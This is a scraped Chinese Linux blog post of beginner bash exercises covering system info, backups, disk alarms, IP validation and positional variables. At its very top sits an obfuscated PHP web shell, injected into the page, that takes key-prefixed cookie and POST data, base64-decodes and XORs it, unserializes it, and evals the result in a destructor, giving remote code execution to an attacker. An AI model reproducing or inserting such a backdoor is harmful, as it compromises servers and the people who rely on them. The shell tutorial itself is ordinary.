$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 初窥门径之脚本书写 | Linux运维部落

初窥门径之脚本书写

一、几个脚本的编写:

1、编写脚本/root/bin/systeminfo.sh,显示当前主机系统信息,包括主机名,IPv4地址,操作系统版本,内核版本,CPU型号,内存大小,硬盘大小。

#!/bin/bash
echo "HOSTNAME: $HOSTNAME"
echo "IPV4 ADDRESS: `ip a |grep "\<inet\>[ ].*brd"|tr -s " "|cut -d" " -f 3|tr '\n' ' '`"
echo "OS RELEASE: `cat /etc/centos-release`"
echo "CPU INFORMATION: `lscpu | grep "Model name"|tr -s " "|cut -d: -f2 |sed -r 's@[ ](.*)@\1@'`"
echo "KERNEL RELEASE:`uname -r`"
echo "MEMORY INFORMATION: ` cat /proc/meminfo|head -n 1|cut -d: -f 2|tr -d " "`"
echo "HARD DISK INFOMATION:"` fdisk -l |grep "Disk.*sd"|cut -d: -f2|cut -d ' ' -f2,3|tr -d ','`

测试运行:

HOSTNAME: centos7.localdomain
IPV4 ADDRESS: 10.1.255.177/16 192.168.122.1/24
OS RELEASE: CentOS Linux release 7.2.1511 (Core)
CPU INFORMATION: AMD E2-1800 APU with Radeon(tm) HD Graphics
KERNEL RELEASE:3.10.0-327.el7.x86_64
MEMORY INFORMATION: 1001336kB
HARD DISK INFOMATION:107.4 GB

2、编写脚本/root/bin/backup.sh,可实现每日将/etc/目录备份到/root/etcYYYY-mm-dd

#!/bin/bash
#author jack_cui
#version 1.0
#description: backup directory
read -p "please input backup directory: " backdir
read -p "please input destination directory: " desdir
cp -r $backdir $desdir/backup`date +%F`
echo "backup successful!"

测试运行:

[root@centos7 bin]# backup.sh
please input backup directory: /root/bin/
please input destination directory: /testdir/
backup successful!
[root@centos7 bin]# ls /testdir
backup2016-08-12  fs.txt  info.txt  info.txt.bak  info.txt.bak.backup  vimtu

3、编写脚本/root/bin/disk.sh,显示当前硬盘分区中空间利用率最大的值

[root@centos7 bin]# cat disk.sh
#!/bin/bash
#author:jack_cui
#description=show the system disk use
disk_use=`df |grep sd|tr -s " "|cut -d " " -f5|sed -n 's/%//p'|sort -rn|head -n 1`
echo $disk_use
unset disk_use

测试运行:

[root@centos7 bin]# bash disk.sh
63

4、编写脚本/root/bin/links.sh,显示正连接本主机的每个远程主机的IPv4地址和连接数,并按连接数从大到小排序

[root@centos7 bin]# cat link.sh
#!/bin/bash
#author:jackcui
#description: disk use infomation
netstat -nt |tr -s ' '|cut -d ' ' -f5 |cut -d: -f1 |grep [0-9]|sort |uniq -c|sort -nr
[root@centos7 bin]# link.sh
      5 10.1.1.88

5、写一个脚本/root/bin/sumid.sh,计算/etc/passwd文件中的第10个用户和第20用户的ID之和

#!/bin/bash
#author:jackcui
#description:sum two user's id
numbera=`sed -n '10p' /etc/passwd |cut -d: -f3`
numberb=`sed -n '20p' /etc/passwd |cut -d: -f3`
let suma_b=numbera+numberb
echo "user1 uig is $numbera"
echo "user2 uid is $numberb"
echo "two users id sum is $suma_b"
unset numberb  suma_b numbera
 [root@centos7 bin]# sumid.sh
user1 uig is 11
user2 uid is 59
two users id sum is 70

6、写一个脚本/root/bin/sumspace.sh,传递两个文件路径作为参数给脚本,计算这两个文件中所有空白行之和

两个测试文本:test.txt test2.txt 中间有6个空白行或全是空白字符的行

 [root@centos7 ~]# cat test.txt
aaaaaaaaaaaaaaaaaaaaaaaa
 
bbbbbbbbbbbbbbbbbbbbbbbbbb
     ccccccccccccccccccc
 
     
[root@centos7 ~]# cat test2.txtt
cat: test2.txtt: No such file or directory
[root@centos7 ~]# cat test2.txt
cccccccccccccccccccccccc
 
bbbbbbbbbbbbbbbbbbbbbbbbbb
  
cccccccccccccccc

   脚本:

[root@centos7 bin]# cat sumspace.sh
#!/bin/bash
#author:jackcui
#description:calculate two files blank line
read -p "Input first path of files: " first_path
read -p "Input second path of files:" second_path
a=`cat $first_path |grep -e "^$" -e "[[:space:]]\+$" |wc -l`
b=`cat $second_path |grep -e "^$" -e "[[:space:]]\+$" |wc -l`
let sum=a+b
echo "The total blank lines is: $sum"
unset a b sum

脚本运行:

 [root@centos7 bin]# sumspace.sh
Input first path of files: /root/test.txt
Input second path of files:/root/test2.txt
The total blank lines is: 6

7、写一个脚本/root/bin/sumfile.sh,统计/etc, /var, /usr目录中共有多少个一级子目录和文件

[root@centos7 bin]# cat sumfile.sh
#!/bin/bash
#author:jackcui
#description:sum directorys's files and directorys 
a=`ls -A /etc/|wc -l`
b=`ls -A /var/|wc -l`
c=`ls -A /usr/|wc -l`
let sumfile=a+b+c
echo "three directory have $sumfile files and directorys"
unset a b c sumfile

脚本运行:

[root@centos7 bin]# sumfile.sh
three directory have 296 files and directorys

8、写一个脚本/root/bin/argsnum.sh,接受一个文件路径作为参数;如果参数个数小于1,则提示用户“至少应该给一个参数”,并立即退出;如果参数个数不小于1,则显示第一个参数所指向的文件中的空白行数

[root@centos7 bin]# cat argsnum.sh
#!/bin/bash
#author:jackcui
#description:dispaly file blank lines count
[ "$#" -lt 1 ]&& echo "You should give one parameter!" && exit
line=`cat $1|grep -c "^[[:space:]]*$" 2> /dev/null`
echo $line
unset line
exit
[root@centos7 bin]# argsnum.sh /root/test.txt
3
 [root@centos7 bin]# argsnum.sh //没有参数时直接退出,并打印提示信息
You should give one parameter!

9、写一个脚本/root/bin/hostping.sh,接受一个主机的IPv4地址做为参数,测试是否可连通。如果能ping通,则提示用户“该IP地址可访问”;如果不可ping通,则提示用户“该IP地址不可访问”

[root@centos7 bin]# cat hostping.sh
#!/bin/bash
#author:jackcui
#description:Judge a ip address whether access
ping -W 1 -c3 $1 > /dev/null 2>&1   //指定ping超时时间1s,ping3次
suss=`echo $?`
[ $suss -eq 0 ] && echo "IP address can access!"|| echo "IP address can not access!"
[root@centos7 bin]# bash  hostping.sh 10.1.0.2 //ping 不存在的地址报错
IP address can not access!
[root@centos7 bin]# bash  hostping.sh 10.1.0.1 //ping 存在的地址提示地址可以访问
IP address can access!

10、判断硬盘的每个分区空间和inode的利用率是否大于80,如果是,发邮件通知root磁盘满

[root@centos7 bin]# cat diskAlarm.sh

#!/bin/bash
#author:jackcui
#description:show the disk use
diskuse=`df |grep 'sd'|tr -s " " |cut -d " " -f 5|sed -n 's/%//p'|sort -rn|head -n1`
inodeuse=` df -i|grep 'sd'|tr -s " "|cut -d" " -f 5|sed  -n 's/%//p'|sort -rn|head -n1`
#[ $diskuse -ge 80 ]||[ $inodeuse -ge 80 ]&&echo "Dear root, disk has used too much!!!"|mail -s "Disk alarm!" root
[ $diskuse -ge 80 -o $inodeuse -ge 80 ]&&echo  "Dear root, disk has used too much!!!"|mail -s "Disk alarm!" root

测试运行:

[root@centos7 bin]# diskAlarm.sh
[root@centos7 bin]# mail
Heirloom Mail version 12.5 7/5/10.  Type ? for help.
"/var/spool/mail/root": 1 message 1 new
>N  1 root                  Sat Aug 13 12:49  18/626   "Disk alarm!"
& q
Held 1 message in /var/spool/mail/root

11、指定文件做为参数,判断文件是否为.sh后缀,如果是,添加x权限

[root@centos7 bin]# cat ifsh.sh
#!/bin/bash
#author:jack_cui
#description:show the file whether ended “.sh”
[[ "$1" =~ .*\.sh$ ]]&&chmod a+x $1||echo "file is not ended '.sh'"
[root@centos7 bin]# touch bb.sh
[root@centos7 bin]# ifsh.sh bb.sh
[root@centos7 bin]# ll bb.sh
-rwxr-xr-x. 1 root root 0 Aug 13 13:59 bb.sh
[root@centos7 bin]#

12、判断输入的IP是否为合法IP

[root@centos7 bin]# cat ipcorrect.sh
#!/bin/bash
#author:jack_cui
#description:display input ip whether correct!"
corr=`echo $1 |grep -E "(\<([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\>.){3}\<([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\>"|wc -l`
[ $corr -ne 0  ]&&echo "The IP address is correct!"||echo "The IP is not correct!"

执行结果:

[root@centos7 bin]# ipcorrect.sh 2.2.2.2
The IP address is correct!
[root@centos7 bin]# ipcorrect.sh 233.2333.333.2
The IP is not correct!

13、计算1+2+3+…+100

[root@centos7 bin]# cat sum1_100
#!/bin/bash
#author:jackcui
#description:Add 1 to 100
sum=`seq -s "+" 1 100 |bc`
echo "Add 1 to 100 sum is : $sum"
[root@centos7 bin]# sum1_100
Add 1 to 100 sum is : 5050

14、输入起始值A和最后值B,计算从A+A+1…+(B-1)+B的总和

[root@centos7 bin]# cat A2Bsum.sh
#!/bin/bash
#author:jackcui
#description:calculator A to B (A and B is two number),INCREMENT can be given,for eg:A=2,B=6,INCREMENT is 2 ,the sum=2+4+6=12;
read -p "Input first number: " A
read -p "Input second number: " B
read -p "Iput INCREMENT number: " I
echo "The sum is : `seq -s '+' $A $I $B|bc`"
unset A B I
[root@centos7 bin]# A2Bsum.sh
Input first number: 2
Input second number: 4
Iput INCREMENT number: 1 //递增值为1
The sum is : 9
[root@centos7 bin]# A2Bsum.sh
Input first number2  //计算2至6递增值为2的数字的和
Input second number6
Iput INCREMENT number2  //递增值为2
The sum is : 12

注释:seq –s 指定分割符为” + ” ,seq可以产生递增性的数字,之后传值给bc命令进行计算

二、位置变量$0 $1,$2,$# $@ $*的区别:

 

$0 :表示执行命令时,命令本身;

$1:表示命令的第一个参数

$#:表示命令的参数的个数

$@,$*:这两个只有在命令的参数用引号括起来时,前者表示在引号中以空格为分隔符,将引号中的多段分别当成一个参数传递值脚本,后者表示将引号中字符串当成一个参数传递至脚本

原创文章,作者:jack_cui,如若转载,请注明出处:http://www.178linux.com/34801

(0)
上一篇 2016-08-15 12:06
下一篇 2016-08-15 12:06

相关推荐

  • test

    test

    Linux干货 2018-02-23
  • 第三周作业

    1、列出当前系统上所有已经登录的用户的用户名,注意:同一个用户登录多次,则只显示一次即可。 2、取出最后登录到当前系统的用户的相关信息。 注:命令last的信息中,首行为最后登录的用户 3、取出当前系统上被用户当作其默认shell的最多的那个shell。 注:uniq命令显示的重复必须满足重复且相连条件,否则会分开计数。 4、将/etc/passwd中的第三…

    2017-02-19
  • Linux高级磁盘管理-RAID管理

    在冯诺依曼体系机构中,输入输出要存储的外部磁盘I/O能力实在太低,尤其是企业面对高并发的访问量,在系统内部需要大量调度磁盘的上的网页文件资源,这些都会产生大量的I/O,一个磁盘的I/O能力不管如何提升毕竟是有线的,尤其是机械硬盘;同时为了保障业务的连续性,磁盘故障时必须提供冗余能力,面对这样的实际需求环境,RAID技术产生了,通过组织磁盘阵列方式提供I/O,…

    Linux干货 2016-09-06
  • 8-16 Shell脚本之循环

    本节主要讲解Shell脚本的循环和软件包的管理 一、用until实现下列作业 1、每隔3秒钟到系统上获取已经登录的用户的信息;如果发现用户hacker登录,则将登录时间和主机记录于日志/var/log/login.log中,并提示该用户退出系统。 2、随机生成10以内的数字,实现猜字游戏,提示比较大或小,相等则退出 3、编写脚本,求100以内所有正整数之和 …

    Linux干货 2016-08-18
  • VimTutor中文版

        欢  迎   阅   读   《 V I M  教  程 》           …

    Linux干货 2016-08-24
  • 一个开发眼中的运维

    在云计算时代,开发和运维的结合变得越来越重要。在DIFF论坛第一期,前新浪SAE运维主管,郑志勇,分享了《一个开发眼中的运维》根据自己从开发人员转型运维之后的心得,谈如何把在开发上的运用抽象思维方式运用到运维领域。 1. 运维不是什么? 运维不是打杂的,运维不是客服,运维也不是服务开发的,但要做好合作。 2. 运维是什么? 运维服务于整个产品,保证架构合理,…

    Linux干货 2015-03-11